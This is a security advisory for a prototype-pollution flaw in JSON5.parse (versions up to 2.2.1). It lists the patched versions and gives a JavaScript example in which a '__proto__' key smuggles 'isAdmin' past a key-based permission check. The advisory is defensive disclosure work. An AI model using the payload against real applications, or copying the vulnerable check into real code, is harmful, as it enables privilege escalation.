GHSA-9c47-m6qq-7p4h

The `parse` method of the JSON5 library before and including version `2.2.1` does not restrict parsing of keys named `__proto__`, allowing specially crafted strings to pollute the prototype of the resulting object.

This vulnerability pollutes the prototype of the object returned by `JSON5.parse` and not the global Object prototype, which is the commonly understood definition of Prototype Pollution. However, polluting the prototype of a single object can have significant security impact for an application if the object is later used in trusted operations.

## Impact This vulnerability could allow an attacker to set arbitrary and unexpected keys on the object returned from `JSON5.parse`. The actual impact will depend on how applications utilize the returned object and how they filter unwanted keys, but could include denial of service, cross-site scripting, elevation of privilege, and in extreme cases, remote code execution.

## Mitigation This vulnerability is patched in json5 v2.2.2 and later. A patch has also been backported for json5 v1 in versions v1.0.2 and later.

## Details Suppose a developer wants to allow users and admins to perform some risky operation, but they want to restrict what non-admins can do. To accomplish this, they accept a JSON blob from the user, parse it using `JSON5.parse`, confirm that the provided data does not set some sensitive keys, and then performs the risky operation using the validated data: ```js const JSON5 = require('json5');

const doSomethingDangerous = (props) => { if (props.isAdmin) { console.log('Doing dangerous thing as admin.'); } else { console.log('Doing dangerous thing as user.'); } };

const secCheckKeysSet = (obj, searchKeys) => { let searchKeyFound = false; Object.keys(obj).forEach((key) => { if (searchKeys.indexOf(key) > -1) { searchKeyFound = true; } }); return searchKeyFound; };

const props = JSON5.parse('{"foo": "bar"}'); if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) { doSomethingDangerous(props); // "Doing dangerous thing as user." } else { throw new Error('Forbidden...'); } ``` If the user attempts to set the `isAdmin` key, their request will be rejected: ```js const props = JSON5.parse('{"foo": "bar", "isAdmin": true}'); if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) { doSomethingDangerous(props); } else { throw new Error('Forbidden...'); // Error: Forbidden... } ``` However, users can instead set the `__proto__` key to `{"isAdmin": true}`. `JSON5` will parse this key and will set the `isAdmin` key on the prototype of the returned object, allowing the user to bypass the security check and run their request as an admin: ```js const props = JSON5.parse('{"foo": "bar", "__proto__": {"isAdmin": true}}'); if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) { doSomethingDangerous(props); // "Doing dangerous thing as admin." } else { throw new Error('Forbidden...'); } ```